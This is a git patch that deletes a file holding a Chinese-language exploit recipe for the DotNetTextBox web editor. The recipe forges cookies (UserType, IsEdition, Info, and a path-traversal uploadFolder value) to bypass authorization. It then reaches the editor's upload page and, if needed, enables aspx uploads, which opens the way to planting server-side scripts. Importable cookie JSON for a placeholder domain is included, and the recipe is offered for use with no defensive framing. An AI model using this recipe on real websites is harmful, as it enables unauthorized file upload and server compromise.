From 5caf32400280f4a253755301ec8bbf7845f7ac92 Mon Sep 17 00:00:00 2001 From: tennc Date: Thu, 6 Jun 2013 08:24:42 +0800 Subject: [PATCH] delete DotNetTextBox --- other/DotNetTextBox-bug | 64 ----------------------------------------- 1 file changed, 64 deletions(-) delete mode 100644 other/DotNetTextBox-bug diff --git a/other/DotNetTextBox-bug b/other/DotNetTextBox-bug deleted file mode 100644 index ca33531..0000000 --- a/other/DotNetTextBox-bug +++ /dev/null @@ -1,64 +0,0 @@ - - -DotNetTextBox编辑器漏洞 - -修改cookie为: - -cookie:UserType=0; IsEdition=0; Info=1; uploadFolder=../system_dntb/; - -之后浏览 xxx.com/system_dntb/uploadFile.aspx/uploadFile.aspx - -即可上传 - -如不行 则在system_dntb/Advanced.aspx添加 aspx or别的类型 - - - -[{ - "domain": ".xxx.org", - "expirationDate": 1401960780, - "hostOnly": false, - "httpOnly": false, - "name": "UserType", - "path": "/", - "secure": false, - "session": false, - "storeId": "1", - "value": "0" -}, -{ - "domain": ".xxx.org", - "expirationDate": 1401960780, - "hostOnly": false, - "httpOnly": false, - "name": "IsEdition", - "path": "/", - "secure": false, - "session": false, - "storeId": "1", - "value": "0" -}, -{ - "domain": ".xxx.org", - "expirationDate": 1401960780, - "hostOnly": false, - "httpOnly": false, - "name": "Info", - "path": "/", - "secure": false, - "session": false, - "storeId": "1", - "value": "1" -}, -{ - "domain": ".xxx.org", - "expirationDate": 1401960780, - "hostOnly": false, - "httpOnly": false, - "name": "uploadFolder", - "path": "/", - "secure": false, - "session": false, - "storeId": "1", - "value": "../system_dntb/" -}] \ No newline at end of file